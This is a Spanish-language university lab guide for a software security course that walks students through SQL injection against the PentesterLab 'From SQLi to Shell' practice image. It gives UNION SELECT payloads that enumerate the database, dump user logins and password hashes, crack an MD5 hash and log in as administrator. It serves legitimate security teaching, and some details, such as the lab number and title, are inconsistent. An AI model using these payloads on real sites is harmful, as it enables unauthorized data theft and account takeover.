Universidad Tecnológica de Panamá

DEPARTAMENTO DE SISTEMAS DE INFORMACIÓN, CONTROL

Y EVALUACIÓN DE RECURSOS INFORMÁTICOS

Facultad de Ingeniería de Sistemas Computacionales

Seguridad en Aplicaciones de Software

Laboratorio No.4

**Facilitador(es): Dra. Laila Vargas/ Mgtr. Omaira Ruiloba/ Ing. José Moreno**

**Estudiante:**

**Fecha**:

**Grupo**:

1. **TÍTULO** **DE LA EXPERIENCIA:**

Laboratorio No.1. OWASP Top 10. Inyección de Comandos

1. **TEMAS :**
2. Inyección SQL
3. **OBJETIVO(S):**

Adquirir los conocimientos necesarios sobre la seguridad informática a tener en cuenta a la hora de diseñar y crear portales Web corporativos.

Ayudar a los profesionales de la seguridad a probar sus habilidades y herramientas en un entorno legal, ayudar a los desarrolladores web a comprender mejor los procesos de seguridad de aplicaciones web y ayudar a los profesores/estudiantes a enseñar/ambiente.

Verificar que en todo uso de intérpretes se separa la información no confiable del comando o consulta.

Verificar el código para ver si la aplicación usa intérpretes de manera segura.

1. **METODOLOGÍA:**

Para presentar el informe de los resultados obtenidos, haga captura de pantalla desde el navegador de su preferencia y el resultado de la consulta generada por la misma.

Para esta asignación se descargó la .iso llamada From\_SQLi\_To\_Shell del sitio web [pentesterlab.com](http://pentesterlab.com). Se utilizal virtualbox para correrlo en live la imagen (.iso) Una vez corriendo el server buscamos la ip que tiene.

Copie estas capturas de pantalla en la sección G (RESULTADOS) de esta guía, según el número mostrado en la sección E (PROCEDIMIENTO). **Corte y sólo presente el área de trabajo donde aparece la instrucción y el resultado obtenido, incluya en el navegador el ip de la aplicación.**

1. **PROCEDIMIENTO O ENUNCIADO DE LA EXPERIENCIA:** (todo lo indicado en color verde corresponden a acciones que usted deberá ejecutar.)

**Paso 1:**

* En la URL colocamos lo siguiente a un lado de “cat.php?id=1 UNION SELECT 1,2,3,4. Colocamos esto ya que así sabemos cuántas tablas contiene el sitio.
* Cómo sabemos cuántas tablas tiene. Pues vamos incrementando los valores después del “SELECT”.
* Ejemplo: en la siguiente imagen colocamos del 1-3 y verificamos qué ocurre en la página.



* Ahora lo incrementamos a 4
* Lo volvemos a incrementar a 5 para ver qué sucede

**Paso 2:**

* En la siguiente imagen utilizaremos esta sentencia: 1 UNION SELECT 1,user(),3,4
* Nota: se coloca user() en esa posición porque se testeó y fue donde mostró diferencia.

**Paso 3:**

* Ahora, en vez de user(), utilizamos version(). Con esto obtenemos la versión del servidor.

**Paso 4:**

* Volvemos y cambiamos version() por database() y obtenemos el nombre de la base de datos.

**Paso 5:**

* cambiamos nuevamente database() por table\_name. Se introduce la siguiente sentencia: id=1 union select 1,table\_name,3,4 from information\_schema.tables

**Paso 6:**

* Cambiamos por column\_name.
* Sentencia: id=1 union select 1,column\_name,3,4 from information\_schema.column

**Paso 7:**

* Ahora añadimos a la sentencia anterior un where table\_name=’users’, que es el nombre de una tabla que obtuvimos en el paso anterior.
* Sentencia: id=1 union select 1,column\_name,3,4 from information\_schema.columns where table\_name='users'

**Paso 8:**

* Ahora buscaremos el nombre del usuario según el nombre de columna obtenido con anterioridad.
* Sentencia: id=1 union select 1,login,3,4 from users

**Paso 9:**

* Hacemos algo similar, ya que ahora buscamos el password del usuario
* Sentencia: id=1 union select 1,password,3,4 from users

**Paso 10:**

* Este paso es de descifrar el password. Ingresamos el password en un sitio web ([md5online.org](http://md5online.org)) que se encarga de descifrar md5.

**Paso 11:**

* Ahora nos dirigiremos a la sección admin del sitio web y nos loguearemos con los datos obtenidos anteriormente.

1. **RECURSOS:**

Computador con acceso a internet, From\_SQLi\_To\_Shell del sitio web [pentesterlab.com](http://pentesterlab.com), acceso a plataforma ecampus.utp.ac.pa/moodle, curso de Seguridad en Aplicaciones de Software.

1. **RESULTADOS:**

*En esta sección Usted colocara las capturas de pantalla que muestran los resultados de los procesos realizados en el punto anterior.*

| ***No.*** | **Lo solicitado** | ***Resultado*** | ***Ptos*** |
| --- | --- | --- | --- |
| 1 |  |  | *10* |
| 2 |  |  | *10* |
| 3 |  |  | *10* |
| 4 |  |  | *10* |
| 5 |  |  | *10* |
| 6 |  |  | *10* |
| 7 |  |  | *10* |
| 8 |  |  | *10* |
| 9 |  |  | *10* |
| 10 |  |  | *10* |

1. **CONSIDERACIONES FINALES:**

*Indique en esta sección si considera o no que el laboratorio cumplió su objetivo.*

*\_\_\_\_\_\_\_\_\_\_\_*

1. **BIBLIOGRAFIA:**

* *https://pentesterlab.com/exercises/from\_sqli\_to\_shell*

1. **RÚBRICA:**

* Cada uno de los problemas del Paso 2 en adelante es ponderado con 10 puntos, los cuales hacen un total de 90 puntos.
* Los otros 10 puntos son obtenidos por la entrega a tiempo del laboratorio.
* **En caso de incumplimiento en la fecha y hora estipulada para la entrega, se descontarán 5 puntos por día de retraso**.